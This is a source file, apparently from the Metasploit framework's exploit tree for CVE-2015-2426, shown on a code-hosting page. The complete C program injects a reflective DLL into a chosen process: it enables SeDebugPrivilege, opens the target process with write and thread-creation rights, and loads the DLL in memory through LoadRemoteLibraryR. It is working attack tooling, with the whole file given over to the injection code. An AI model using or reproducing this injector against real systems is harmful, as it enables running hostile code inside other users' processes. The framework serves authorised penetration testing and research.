Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-2426/inject/src/Inject.c
Views: 11789
//===============================================================================================//1// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#define WIN32_LEAN_AND_MEAN28#include <windows.h>29#include <stdio.h>30#include <stdlib.h>31#include "LoadLibraryR.h"3233#pragma comment(lib,"Advapi32.lib")3435#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }3637// Simple app to inject a reflective DLL into a process vis its process ID.38int main( int argc, char * argv[] )39{40HANDLE hFile = NULL;41HANDLE hModule = NULL;42HANDLE hProcess = NULL;43HANDLE hToken = NULL;44LPVOID lpBuffer = NULL;45DWORD dwLength = 0;46DWORD dwBytesRead = 0;47DWORD dwProcessId = 0;48TOKEN_PRIVILEGES priv = {0};4950#ifdef _WIN6451char * cpDllFile = "reflective_dll.x64.dll";52#else53#ifdef WIN_X8654char * cpDllFile = "reflective_dll.dll";55#else WIN_ARM56char * cpDllFile = "reflective_dll.arm.dll";57#endif58#endif5960do61{62// Usage: inject.exe [pid] [dll_file]6364if( argc == 1 )65dwProcessId = GetCurrentProcessId();66else67dwProcessId = atoi( argv[1] );6869if( argc >= 3 )70cpDllFile = argv[2];7172hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );73if( hFile == INVALID_HANDLE_VALUE )74BREAK_WITH_ERROR( "Failed to open the DLL file" );7576dwLength = GetFileSize( hFile, NULL );77if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )78BREAK_WITH_ERROR( "Failed to get the DLL file size" );7980lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );81if( !lpBuffer )82BREAK_WITH_ERROR( "Failed to get the DLL file size" );8384if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )85BREAK_WITH_ERROR( "Failed to alloc a buffer!" );8687if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )88{89priv.PrivilegeCount = 1;90priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;9192if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )93AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );9495CloseHandle( hToken );96}9798hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );99if( !hProcess )100BREAK_WITH_ERROR( "Failed to open the target process" );101102hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );103if( !hModule )104BREAK_WITH_ERROR( "Failed to inject the DLL" );105106printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );107108WaitForSingleObject( hModule, -1 );109110} while( 0 );111112if( lpBuffer )113HeapFree( GetProcessHeap(), 0, lpBuffer );114115if( hProcess )116CloseHandle( hProcess );117118return 0;119}120121